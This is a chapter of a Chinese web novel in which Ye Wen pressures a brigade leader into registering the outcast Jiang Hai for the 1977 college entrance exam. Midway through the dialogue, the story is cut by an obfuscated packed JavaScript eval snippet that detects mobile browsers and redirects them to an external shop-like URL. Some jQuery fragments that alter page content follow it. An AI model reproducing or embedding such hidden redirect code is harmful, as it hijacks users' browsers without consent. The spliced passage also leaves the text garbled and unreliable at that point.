第二天，天刚蒙蒙亮，就又听到王春花在堂屋里发出摔盆打碗的动静，一会骂叶强，一会骂叶雯，还有叶雯昨天领回来的江海。


    叶雯今天还有重要的事要做，也就准备起床了。虽然睡得时间很短，但好在这副身体够年轻，她感觉体力已经恢复了很多。


    房间里很安静，只有窗户纸透过一丝微弱的光亮。她看了眼床里面的江海，还在沉睡。他的脸颊依旧苍白，但是那吓人的潮红已经退去，呼吸也很平稳。


    谁知她刚下床，旁边的人就突然睁开了眼，眼神充满阴鸷和警惕，仿佛身处洞穴之中的野兽听到异动。江海的视线在昏暗中搜寻了半秒，当他看清这人是叶雯时，那股骇人的攻击感这才褪去。待他彻底清醒，目光下意识地飘向她的手臂，不知道那五道红痕，有没有好一些？


    叶雯自然注意到了他的视线，不过她根本不在意。她活动了一下昨晚忙上忙下有些酸痛的手臂。“醒了？”她一边利落地扣好自己的棉袄一边特别自然地和他说：“我昨晚跟你说的任务，你没忘吧？”


    江海僵硬地点了点头。


    “我一会去大队，帮你高考报名。你一会一个人先待在房间，关好门，不用理我大嫂。”说完她从床头破布盖着的油纸包里掏出两个昨天买的白面馒头，“我去热一下早饭，一会给你拿过来。你的衣服昨天也给你烤干了，你穿上吧。”


    江海这才再次注意到自己没穿衣服的身体，这次在完全清醒的状态下。只见他的脸“唰”的一下涨得通红，只是往被子里缩了又缩。不敢问，甚至不敢想是不是她帮自己脱得衣服。她真的不怕自己这个人人喊打的怪物吗？还说要帮他报名高考，他这样的身份怎么会报名成功？真的可以高考吗？对于叶雯的话，他一边怀疑，却又无法控制地期待。


    —


    吃完早饭后，王春花和叶强已经去上工了。叶雯很快也出了家门，她兜里揣着江海的报名信息，径自朝着村里大队部走去。其实也就是一张皱巴巴的纸片，上面有他的户籍资料的信息补充。


    一路上，她的大脑在飞速运转，盘算着今天可能面临的问题。从原主的记忆看来，她今天的报名会肯定有一场硬仗要打。以陈会计和张队长那个老油条的性格，绝对不会为江海这样身份的人承担任何可能的政治风险。


    所以，她只能另辟蹊径，她打算用沈国强顶替返城名额这个工作失误来突破。不过这样也是有风险的。如果惹急了张队长，他恼羞成怒之下，可能连她一起打压。但是如果张队长被威胁到，选择睁一只眼闭一只眼的话，报名这事儿就能成……


    很快，叶雯走到了大队部门口。恢复高考的消息，像一颗春雷，炸醒了大家心中影影绰绰对于未来的期望。此刻的大队部格外热闹，里面站着好几个村里的年轻人和知青，整间屋里全是难闻的旱烟味。


    陈会计桌子的最前面，被人群簇拥着的正是沈国强和赵秀丽。


    沈国强手里拿着钢笔，正弯着腰在填表，姿态摆得很足，像是在签署什么重要文件。而赵秀丽脸上挂着那种高人一等的骄矜笑容。


    负责登记的陈会计，也跟着一脸笑意地说：“沈知青这字啊，真是工整！一看就是大学生的苗子！”


    叶雯没理会这两个不知道在骄傲什么的人，她绕过人群，直接走到了桌子的另一侧。“陈会计，”她掏出那张皱巴巴的纸片：“我也要报个名。”


    陈会计抬了下眼皮，看到是叶雯，“老叶家的？公社高中那边统一报过名了吧？不用再来登记了，下一个。”


    “陈会计，”叶雯将那张皱巴巴的纸片推了过去：“我还要替一个人报名。”


    他正跟沈国强聊得火热，被一而再打断后一脸不耐烦地瞥了一眼那张纸，当看清“江海”两个字时，像是被烫了一下，猛地把纸推到一边，像是碰到什么脏东西一样，怒斥道： “胡闹！他什么成分你不知道？这名字要是报上去，公社肯定会批评我们大队！不行，绝对不行！”


    这一嗓子，让原本喧闹的屋里一下子安静下来，所有人的目光都聚集在了叶雯身上。


    “叶雯，你是真不知道还是装傻？”陈会计语气里毫不掩饰的鄙夷：“都说你疯了，我还不信。江海的背景，肯定过不了审核，别杵在这浪费时间！”


    陈会计话音未落，周围已经开始窃窃私语。“叶家这个叶雯是不是真疯了？”“估计是刺激到了吧，昨天王二马还说看到她去牛棚找那狗崽子了，后来牛棚不知道怎么塌了，她还把那狗崽子带回了叶家了。”“哎呦，真是可怜，小小年纪，这么好的未婚夫没了，也难怪经受不住刺激……”


    刚才填表的沈国强在一听到叶雯声音的时候已经停了笔，正打量着叶雯。而他旁边的赵秀丽也惊讶地捂住了嘴，眼神里却闪过看好戏的兴奋。


    “叶雯姐，你，你怎么会替江海报名呢？”赵秀丽那双我见犹怜的眼睛里是又是恰到好处的担忧。叶雯其实很想问她眼神戏能不能多练几个？自己才看到她两次，已经觉得腻味到不行了。


    “叶雯同志，”沈国强一开口又是说教：“你怎么能自甘堕落到如此程度，和那样的人混到一起，你这不仅仅是觉悟问题了，对你将来的前途都会有影响。


    “对啊，叶雯姐，你可千万别犯糊涂，而且，这样也很影响陈会计的工作。”赵秀丽一脸“恨铁不成钢”的焦急。


    叶雯始终都没给他们一个正眼，他们这种级别的“茶”，在她眼里，连前菜都算不上。


    沈国强看叶雯看都没看自己一眼，大概觉得面子上挂不住，拉了拉赵秀丽的衣袖，“秀丽，别管她，我们办自己的事情。”


    她拿起陈会计面前江海的户籍信息说明，在他错愕的目光中，无视屋里的所有人，直接走往最里间的位置，那是大队长的办公室。叶雯心想，看来自己所在的这个大队条件还不错，大队长还有单独的办公室。


    “咚咚。”她敲了敲门。


    “进来！”屋里传来一声不耐烦声音，听起来心情不是很好。


    叶雯推门进去，一股更重的旱烟味扑面而来，只见张有田正对着面前一本账册发愁。


    “张队长。”叶雯开门见山，把那张纸片，压在了账本上。“我要给江海报名。”


    张有田抬起头，看到来人，那张满是不耐的脸瞬间拉得更长了。他抓起手边的旱烟杆，敲了敲桌子：“没听到外头陈会计跟你说？他的档案过不了，这事我说了不算。去去去，别在这儿耽误我干活！”


    “您做得了主。”“张队长，这章，您今天非盖不可。”


    “嘿！你这个小丫头……”


    叶雯的目光径直对上他的眼睛，没有一丝退缩，“我昨天刚和沈国强退婚了，这事您知道的吧。”


    张有田满脸不耐烦：“这事跟报名有什么关系？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070242|194793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “他给了我五十块赔偿。为什么那么抠门的人愿意赔偿？”她不给张有田说话的机会：“那是因为他拿到了回城当干部的指标。”


    张有田拿着烟袋的手一僵，眼神虚了一下：“那是公社下来的名单，手续齐全，我只是照章办事。”


    “是，您是一开始不知道。您看到公社和接收单位的章都齐了，也没多想，顺手就给了沈国强盖了同意迁出的章。”


    张有田的脸色微微变了，他没想到这丫头连这也知道。


    “可是张队长，后来您听说了吧？”叶雯身子微微前倾，压低了声音，“那个指标的主人是江庆福，是在我们隔壁农场改造的工程师。他还有个儿子在大队呢。”


    张有田手里的烟杆猛地抖了一下，烟灰落在桌面上，桌上又烫出个小黑点。他的确是后来喝酒时听隔壁大队的人当笑话讲的，说农场一个叫江什么的工程师死了，返城指标指标还落实了，那工程师的儿子还在下放，不知道那指标便宜了哪个孙子了。他当时心里就“咯噔”一下，回来又仔细查了沈国强那些当时留底的材料，这才大概了解事情的始末。


    但他能怎么办？章已经盖了，沈国强手续也都办完了。如果自己去说，那是承认自己工作失误，还得罪人。他只能装聋作哑，想着江庆福已经死了，江海那个闷葫芦肯定不知道。这事儿就这么过去了。


    “您想多一事不如少一事，想着反正死无对证。”叶雯非常笃定地说：“可您别忘了，江庆福的亲儿子江海就在我们大队！您明知道这名额是江海他爹的。江海要是把这事儿捅上去，您这叫什么？渎职？还是合伙沈国强诈骗？”


    “你……你这胡说八道什么！”张有田被叶雯的话激得坐不住了。


    叶雯了然，知道自己的招数奏效了。“所以，你说江海有没有资格报名？不过事已至此，他只要能报上名，也就不会追究了。”


    “不过，要是不能顺利报名的话，他一个光脚的不怕穿鞋的，到时候事情闹大了，上头追究下来，公社再为了撇清关系，谁会最倒霉？”


    叶雯趁热打铁，她必须给出致命一击，把张有田和这件事捆绑到一起。


    张有田瞪着叶雯，他知道眼前这个疯丫头在赌。不过一想到她昨天连沈国强的钱都能讹到手，想来也不是好打发的。他不敢赌，也不能赌！


    半晌，张有田终于出声，“报名表你去填好给我。公社那边，我来想办法！”


    叶雯心里那块石头落了地。她立马换上甜美的笑脸道：“谢谢张队长。如果江海能考上大学的话，咱们大队也光荣。”


    张有田还想出言讽刺两句，但是又不想跟小丫头片子一般见识，只是冷哼了一声。


    叶雯见好就收，填好江海的报名表递过去后就起身跟他告别。她拉开了房门，门外，赵秀丽和沈国强还没走，陈会计正在给他们办理手续。看到她出来，赵秀丽的嘴角，又扬起看好戏的微笑。


    然而，赵秀丽嘴角的笑意还没完全绽开，就听到张有田那大嗓门突然从里屋吼了出来： “老陈！那个江海的报名表，你给收了！那个谁……叶雯还要赶着回去上工，别耽误人家时间，赶紧填到汇总表里，回头我亲自交到公社去！”


    叶雯知道，赵秀丽一定在怀疑，为什么事情没有按照她记忆中那般发展。她也确定，赵秀丽脑中自以为既定的“剧本”，从这一刻起，将慢慢全部改写。